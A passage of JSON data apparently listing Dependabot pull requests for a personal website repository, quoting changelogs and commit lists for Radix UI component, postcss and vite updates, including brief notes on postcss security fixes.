changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eProvider\u003c/code\u003e, \u003ccode\u003eTrigger\u003c/code\u003e and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Switch. These expose the previously internal composition (context provider, the interactive control, and the hidden form input) so consumers can directly access and recompose them. The \u003ccode\u003eSwitch\u003c/code\u003e component continues to render them by default.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-switch\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.13 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-tabs\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.10 to 1.1.14\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-toggle\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle-group` from 1.1.11 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle-group/CHANGELOG.md\"\u003e@​radix-ui/react-toggle-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated single-select and multi-select toggle groups to use the \u003ccode\u003eradiogroup\u003c/code\u003e and \u003ccode\u003etoolbar\u003c/code\u003e roles, respectively.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-toggle-group\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.8 to 1.2.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed runtime error when event target is non-Node\u003c/li\u003e\n\u003cli\u003eFixed a Tooltip bug so that \u003ccode\u003eskipDelayDuration={0}\u003c/code\u003e works as expected. Previously, the open delay could still be skipped when moving between triggers.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-tooltip\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cb...\n\n_Description has been truncated_","html_url":"https://github.com/nielsonjunior/site-pessoal/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nielsonjunior%2Fsite-pessoal/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"},{"uuid":"4897495792","node_id":"PR_kwDONhUlBs7yRrCM","number":20,"state":"open","title":"deps(npm): bump the npm-version group with 3 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T00:34:47.000Z","updated_at":"2026-07-16T00:35:15.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(npm): bump","group_name":"npm-version","update_count":3,"packages":[{"name":"@types/node","old_version":"26.0.1","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.18","repository_url":"https://github.com/postcss/postcss"},{"name":"vite","old_version":"8.1.3","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-version group with 3 updates: [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node), [postcss](https://github.com/postcss/postcss) and [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite).\n\nUpdates `@types/node` from 26.0.1 to 26.1.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.16 to 8.5.18\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.18\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 8.1.3 to 8.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.1.4\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v8.1.4/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.1.3...v8.1.4\"\u003e8.1.4\u003c/a\u003e (2026-07-09)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003elegacy:\u003c/strong\u003e prefer oxc as minifier (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/21973\"\u003e#21973\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22468\"\u003e#22468\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ab5dafa8e66296ef201f615489fb57954bb740ce\"\u003eab5dafa\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e add workaround for building on stackblitz (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22840\"\u003e#22840\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/575c32c29925c554f4ef4068738ab89c6878f615\"\u003e575c32c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e keep \u003ccode\u003eimport.meta.url\u003c/code\u003e in preload function as-is (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22839\"\u003e#22839\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/f1f90ed4742b3cf453428c7e581a6016a4d47321\"\u003ef1f90ed\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22865\"\u003e#22865\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/d4295a9ffce428c0e51892373e00c07fccc0498a\"\u003ed4295a9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22866\"\u003e#22866\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7cf07e4c5f7a6af276012e0c2ec06e08499e951e\"\u003e7cf07e4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid backtracking in import-only check (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22848\"\u003e#22848\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b5868c01a124d345664450aaebd677bfba964c05\"\u003eb5868c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e avoid optimizer run for transform request before init (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22852\"\u003e#22852\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/72a5e2192506f51a5efd09c059815a5c43a9eacb\"\u003e72a5e21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003essr:\u003c/strong\u003e align named export function call stacktrace column with Node (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22829\"\u003e#22829\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/173a1b648c321e0f836e5a94fc47c4fa9b081bfc\"\u003e173a1b6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estrip pure CSS chunk imports when chunkImportMap is enabled (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22841\"\u003e#22841\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/648bd04933093d0aac9565f21a49811437776886\"\u003e648bd04\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix incorrect \u003ccode\u003e@default\u003c/code\u003e for \u003ccode\u003eserver.cors\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22859\"\u003e#22859\u003c/a\u003e) (\u003ca 